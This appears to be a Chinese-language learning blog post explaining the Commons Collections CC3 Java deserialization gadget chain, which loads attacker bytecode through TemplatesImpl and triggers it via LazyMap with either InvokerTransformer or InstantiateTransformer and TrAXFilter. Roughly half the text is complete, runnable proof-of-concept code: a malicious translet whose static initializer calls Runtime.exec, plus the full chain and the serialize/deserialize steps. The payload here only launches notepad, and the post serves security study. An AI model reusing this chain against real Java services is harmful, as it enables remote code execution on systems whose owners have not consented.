cc3这条链和前面的cc1和cc6是不同的,这个执行命令用的是动态类加载
不是Runtime.getRuntime.exec()
所以说学这条链子之前得去学下啥是动态类加载
因为动态类加载的时候会调用loadclass,然后loadclass最后就会调用到defineclass,然后因为最后调用的defineclass不是public的,所以我们得去找哪个类里边重写了这个函数,并且是public的
这个函数参数的找不到有重写然后是public的调用他
然后发现了这种类型的defineclass有函数调用
然后还是default类型的(这个类型说明了这个包里可以调用他)
然后我们跟进去,看谁调用了这个default的defineclass
在他自身类里边的这个函数调用了default方法,但是这个是private的,所以我们就继续找哪个public调用了他
然后找到了一个private方法里面有个实例化的方法,
所以我们就接着往下找,找哪个public方法里面调用了他
最后找到这个public就找完了
然后我们就得想想怎么控制这个实例化对象
然后看到上图就看到了defineTransletClasses()这个函数方法是可以赋值传参的
在满足上面的条件后就可以进行赋值了
通过上面的寻找,发现找的函数方法全在TemplatesImpI这个类里边,并且这个类还可以进行序列化,那么这个里面里边的参数我们就都可以进行控制了(反射)
第一步的出发点,得用这个来触发defineClass
这里话我们是想先去调用第二个if里边的函数方法,来给下面的实例化对象赋值
跟进这个函数后(就会发现有两个if必须满足,因为第一个如果不满足的话就会抛异常,第二个是因为得给他赋值让他调用函数方法)这里赋值的原因是因为这个TemplatesImpI类的构造函数没有进行赋值
所以接下来我们开始进行赋值,先从getTransletInstance()这个函数开始,就是献给name赋值
然后再给_bytecodes赋值,因为就是不能让他抛异常(这里给bytecodes赋值是有讲究的)实例化时需要的类是由bytecodes赋值的,而且还由于最后的defineclass()函数,这里的话bytecodes的类型还是得进行限制的
最后写出来的成果
因为类里边的bytecodes是个二维数组,所以初始化的时候就先给他变为二维数组,然后因为得需要他的一维数组进行赋值,所以在嵌套一个一维数组
然后最后还有一个_tfactory没有进行赋值,所以我们就得对他进行赋值,不然会报错
这就是他的类型(然后这个参数是transient,就是不可以进行序列化的意思)
所以我们就猜它是在readObject里面进行赋值的
最下面就看到它了
赋值成功
然后运行发现没成功(发现在defineTransletClasses这个函数里边的下面那个参数为空,然后爆了空指针错误)
但是单休改这个参数没啥大的意义,因为transletIndex值为-1,到了下面的if判断还是会抛异常出错
所以我们就先得满足这个
让他的值不为-1,然后跟进去后发现
这里要求要和superClass里面的类相等,所以我们就得在弹计算器的类里边更改
cc3完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths;
public class cc3 {
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field field = tc.getDeclaredField("_name"); field.setAccessible(true); field.set(templates,"aaa"); Field field1 = tc.getDeclaredField("_bytecodes"); field1.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes = {code}; field1.set(templates,codes); Field field2 = tc.getDeclaredField("_tfactory"); field2.setAccessible(true); field2.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
}
}
|
test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example; import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("notepad"); } catch (IOException e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
上面写的代码是对这条链子的一个基本解释,接下来我们用cc1里的方法来对上面的代码进行反序列化操作
然后我们再把cc1后面的代码拿过来 就可以了,cc1的代码只是为了来触发transform.
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field field = tc.getDeclaredField("_name"); field.setAccessible(true); field.set(templates,"aaa"); Field field1 = tc.getDeclaredField("_bytecodes"); field1.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes = {code}; field1.set(templates,codes); Field field2 = tc.getDeclaredField("_tfactory"); field2.setAccessible(true); field2.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null)
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class},h); Object o = constructor.newInstance(Override.class,map); unserialize("a.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|
上面的是利用InvokerTransformer类
这个链子是在InvokerTransformer
这个被禁的时候来替代的类
InvokerTransformer
这个被禁了之后就调用不了newTransformer
方法了,所以我们得去找一下还有谁能掉用newTransformer
方法
然后找到了这个类来调用了newTransformer
方法 但是这个不能进行反序列化,因为没有继承于serialize
所以我们就得像使用Runtime
类一样用这个类了
这里话发现这条链子的作者就发现了InstantiateTransformer类可以满足条件
给TrAXFilter
实例化的时候就会调用到他里边的构造方法
然后就调用到newTransformer
方法了
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public class CC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"translet"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("C://Users//25302//Desktop//program//Test.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap =new HashMap<>(); Map decoratetransfored = LazyMap.decorate(hashMap, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Target.class, decoratetransfored); Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o); Object o1 = declaredConstructor.newInstance(Override.class, map); serialize(o1); unserialize("ser.bin"); } public static void serialize(Object o) throws IOException { ObjectOutputStream objectOutputStream=new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); objectOutputStream.writeObject(o); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream =new ObjectInputStream(Files.newInputStream(Paths.get(Filename))); Object o = objectInputStream.readObject(); return o; } }
|
只是修改了这部分,就是用InstantiateTransformer和TrAXFilter类替代了InvokerTransformer
然后其他步骤就和上面一样了
只是修改了执行代码的部分,前面的可以通过cc1
或者cc6
来进行拼接
最上面的是cc1
最下面的是cc6
——> 就是把AnnotationInvocationHandler
被禁掉的,然后
用HashMap
来替代的一种方法